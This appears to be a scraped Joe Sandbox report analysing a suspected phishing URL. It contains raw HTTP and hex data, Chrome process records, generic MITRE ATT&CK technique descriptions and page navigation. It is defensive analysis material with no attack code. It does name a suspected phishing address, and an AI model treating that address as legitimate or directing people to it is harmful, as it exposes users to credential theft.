2025-03-13 09:49:03 UTC	667	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 26 Sep 2017 18:09:01 GMT ETag: "0x8D50509AA6A3E5E" x-ms-lease-state: available Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Last-Modified,ETag,x-ms-lease-status,x-ms-lease-state,x-ms-blob-type,Accept-Ranges,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240717T141303Z-17c86fbf54dvclbsdfynr20qhg000000070g000000017v76 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 Cache-Control: max-age=31536000 Date: Thu, 13 Mar 2025 09:49:03 GMT Content-Length: 20040 Connection: close X-Content-Type-Options: nosniff
2025-03-13 09:49:03 UTC	15717	IN	Data Raw: 00 01 00 00 00 0f 00 80 00 03 00 70 4f 53 2f 32 4a 5a 78 68 00 00 00 fc 00 00 00 60 56 44 4d 58 81 5e 89 71 00 00 01 5c 00 00 05 e0 63 6d 61 70 b8 70 68 a5 00 00 07 3c 00 00 02 9c 63 76 74 20 09 d9 09 af 00 00 09 d8 00 00 00 2a 66 70 67 6d fc 9e e6 8e 00 00 0a 04 00 00 01 59 67 61 73 70 00 08 00 1b 00 00 0b 60 00 00 00 0c 67 6c 79 66 6f 56 0f 22 00 00 0b 6c 00 00 37 bc 68 65 61 64 fc 6b 8b cb 00 00 43 28 00 00 00 36 68 68 65 61 10 01 08 06 00 00 43 60 00 00 00 24 68 6d 74 78 2e 46 1e 45 00 00 43 84 00 00 00 ee 6c 6f 63 61 10 59 03 e0 00 00 44 74 00 00 00 e6 6d 61 78 70 01 05 01 dd 00 00 45 5c 00 00 00 20 6e 61 6d 65 f9 04 62 8b 00 00 45 7c 00 00 07 d8 70 6f 73 74 ff 51 00 77 00 00 4d 54 00 00 00 20 70 72 65 70 78 bd f2 0e 00 00 4d 74 00 00 00 d3 00 03 07 Data Ascii: pOS/2JZxh`VDMX^q\cmapph<cvt *fpgmYgasp`glyfoV"l7headkC(6hheaC`$hmtx.FEClocaYDtmaxpE\ namebE\|postQwMT prepxMt
2025-03-13 09:49:03 UTC	4323	IN	Data Raw: 36 8a 99 a0 97 86 33 16 21 07 00 80 fe e8 fe d7 fe ca 9d 9e fe cb 96 09 51 7d a1 5a 51 13 2b 30 37 40 4a 2b 2b 4a 40 37 30 2b 13 51 61 ab 7f 4a 05 00 26 1a 1a 26 26 1a 1a 26 db 1a 46 25 fe ff 7c d9 a2 5e 1c 29 30 29 1c 1c 29 30 29 1c 5e a2 d9 7c 01 01 25 46 1a 24 13 18 23 18 10 08 03 03 08 10 18 23 18 13 fe ae 34 35 b2 ad 1f 24 14 06 03 07 0e 16 21 16 0a 21 1a 1a 5c 8d 60 32 32 30 59 9a 70 40 1c 29 30 29 1c 1c 29 30 29 1c 4a 7f ab 61 00 00 04 01 00 00 82 07 1a 07 00 00 03 00 12 00 16 00 1a 00 00 01 35 21 15 05 09 01 27 37 21 11 21 11 27 11 21 11 21 27 03 15 21 35 11 21 15 21 02 00 02 80 01 5d 01 3d fe c3 5b a3 fa db 06 00 80 fb 00 04 a5 a2 03 fc 80 03 00 fd 00 03 80 80 80 83 fe c3 fe c2 5b a3 05 80 fb bd 80 03 43 fb 80 a3 02 5d 80 80 01 00 80 00 04 01 00 Data Ascii: 63!Q}ZQ+07@J++J@70+QaJ&&&&F%\|^)0))0)^\|%F$##45$!!\`220Yp@)0))0)Ja5!'7!!'!!'!5!!]=[[C]

Target ID:	1
Start time:	05:48:09
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff60fae0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	05:48:15
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,12465686348663236769,6124461767877095049,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2044 /prefetch:3
Imagebase:	0x7ff60fae0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:48:17
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,12465686348663236769,6124461767877095049,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4112 /prefetch:8
Imagebase:	0x7ff60fae0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	05:48:22
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://parta-doc.surge.sh/connexion.html"
Imagebase:	0x7ff60fae0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://parta-doc.surge.sh/connexion.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 96

Chrome Cache Entry: 97

Chrome Cache Entry: 98

Chrome Cache Entry: 99

Static File Info

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

Windows Analysis Report
https://parta-doc.surge.sh/connexion.html